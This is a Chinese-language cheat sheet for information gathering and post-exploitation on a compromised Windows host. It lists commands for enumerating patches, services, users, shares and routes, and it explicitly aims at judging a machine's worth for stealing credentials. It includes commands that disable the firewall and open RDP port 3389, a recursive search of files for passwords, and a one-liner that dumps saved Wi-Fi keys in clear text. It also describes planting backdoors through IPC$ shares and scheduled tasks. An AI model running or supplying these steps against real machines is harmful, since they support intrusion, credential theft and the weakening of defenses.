1、systeminfo

这个命令往往可以告诉我们一些基本信息，有一些检查KB号进行提权利用的脚本也是通过这里获取的

wmic qfe get Caption,Description,HotFixID,InstalledOn  //也可以使用wmic来识别安装在系统中的补丁情况
同时推荐使用https://github.com/bitsadmin/wesng，该工具可以根据systeminfo输出可利用的漏洞

2、netstat -ano

可以查看端口列表、本机开放的端口所对应的服务和应用程序。通过这些信息可以判断该服务器是做什么用的，正在和那些机器进行交互等。

3、ipconfig /all

会比单单的ipconfig输出更为详细的信息，可以获取主机相关网段及网络，dns等信息

4、查看已装程序信息

wmic product get name,version

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

查看已安装程序，判断机器作用及价值，如安装了VMware vSphere Client或者xshell等，那就可以去提取账号口令了

5、查看服务信息

wmic service list brief

查看服务信息的作用也是判断机器价值

6、查看进程列表

tasklist /v

查看杀软及相关进程服务

7、查看启动项

wmic startup get command,caption

启动项往往包含最主要的业务服务

8、查看计划任务

schtasks  /query  /fo  LIST /v

计划任务大多都是由软件自己建立的，可以通过这个分析其应用

9、查看用户信息，推测网络主机命名规律

net user

net localgroup administrators  //查看本地管理员信息

query user || qwinsta  //查看当前在线用户信息

（qwinsta）显示远程桌面会话主机(RD会话主机)服务器上的会话信息

10、查看共享信息

net share

wmic share get name,path,status
在装完windwos后会有一个自动共享功能，windows默认共享。
IPC$入侵也是一个老方法了，由于默认共享服务开启，在获取账户密码后，可以通过共享服务批量上传程序，然后通过计划任务执行上传的后门文件。（这个操作必定会在主机上留下日志文件）
具体可参考：https://www.cnblogs.com/sstfy/p/10414680.html#2608826650
https://www.cnblogs.com/tongnaifu/articles/588334.html

11、查询路由信息

route print  //查询路由表

arp -A  //ARP（地址解析协议）缓存表

12、查询防火墙信息

netsh firewall show config
firewall命令已弃用，建议使用advfirewall命令
netsh advfirewall firewall show rule name=all  查看配置规则

netsh advfirewall set allprofiles state off\on  关闭防火墙\开启防火墙

netsh advfirewall export\import xx.pol  导出\导入配置文件

netsh advfirewall firewall add rule name=”deny tcp 139″ dir=in protocol=tcp localport=139 action=block  新建规则阻止TCP协议139端口

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow  新建规则允许3389通过防火墙

netsh advfirewall firewall delete rule name=Remote Desktop  删除名为Remote Desktop的规则

13、查看dns缓存信息

ipconfig  /displaydns

findstr /s /i "passwd" *.*
在当前目录及所有子目录下的所有文件中查找"passwd"这个字符串，*.*表示所有类型的文件
/s 在当前目录和所有子目录中搜索匹配的文件
/i 不区分大小写
/m 如果文件包含匹配项，仅打印该文件名

1、wifi
通过以下命令获取连接过的wifi密码，企业认证的获取不到

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear